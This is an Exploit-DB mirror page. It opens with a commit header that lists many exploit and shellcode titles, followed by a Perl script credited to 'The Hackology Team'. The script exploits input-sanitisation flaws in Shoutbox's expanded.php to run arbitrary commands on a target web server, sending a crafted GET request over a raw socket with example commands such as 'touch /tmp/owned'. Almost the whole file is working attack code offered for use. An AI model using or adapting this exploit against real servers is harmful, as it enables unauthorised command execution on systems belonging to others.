exploit-db-mirror/exploits/php/webapps/22702.pl
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

76 lines
No EOL
2.6 KiB
Perl
Executable file

source: https://www.securityfocus.com/bid/7772/info
Shoutbox is prone to an issue that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient sanitization of input into the expanded.php script.
#-------------------------------------------------------------------------
#
# expanded.php remote command execution Xploit
#
# Coded By _6mO_HaCk
#
# The Hackology Team
#
# Usage = perl expanded.pl <target> <port> <command>
#
# exp = perl expanded.pl 127.0.0.1 80 ls
# = perl expanded.pl localhost 80 touch+/tmp/owned
use IO::Socket;
use strict;
system(clear);
print "------------------------------------------\n";
print "--- expanded.php remote cmd execution ---\n";
print "--- Xploit ---\n";
print "--- ---\n";
print "--- Coded By _6mO_HaCk ---\n";
print "--- ---\n";
print "--- Greetz to : effbeeye, D|NOOO ---\n";
print "--- Thom4sss, DeV|L0Ty ---\n";
print "--- MajNouN, |BiG-LuV| ---\n";
print "--- ---\n";
print "--- The Hackology Team ---\n";
print "------------------------------------------\n";
if(!defined($ARGV[0] && $ARGV[1] && $ARGV[2]))
{
&usage;
}
my $host = $ARGV[0];
my $port = $ARGV[1];
my $cmd = $ARGV[2];
my $conf ="/tmp/.xploit";
my $sbdir ="/shoutbox"; # define this to ur shoutbox dir if different
my $target ="expanded.php?conf=";
my $Xploit = "GET ${sbdir}/${target}${conf}&cmd=$cmd HTTP/1.1\nHost:
$host\nConnection: Close\n\n";
my $tcpval = getprotobyname('tcp');
my $serverIP = inet_aton($host);
my $serverAddr = sockaddr_in($ARGV[1], $serverIP);
my $protocol_name = "tcp";
my $ia = inet_aton($host) || die ("[-] Unable to resolve
$host");
my $pa = sockaddr_in($port, $ia) || die ("[-] Unkown error");
my $proto = getprotobyname('tcp') || die ("[-] Unable to get
protocol");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die ("[-] Unable to open
socket");
connect(SOCK, $pa) || die ("[-] Unable to connect
to $host:$port");
print "[*] Executing $cmd on $host:$port ...\n";
sleep(2);
my $submit = "$Xploit";
send(SOCK,$submit,0);
close(SOCK);
sub usage {die("\n\n[*] Usage : perl $0 <TargetIP> <TargetPort>
<CmdToRun>\n\n");}
print "\n";
print "\n[+] Command should be successfully executed\n";
#-------------------------------------------------------------------------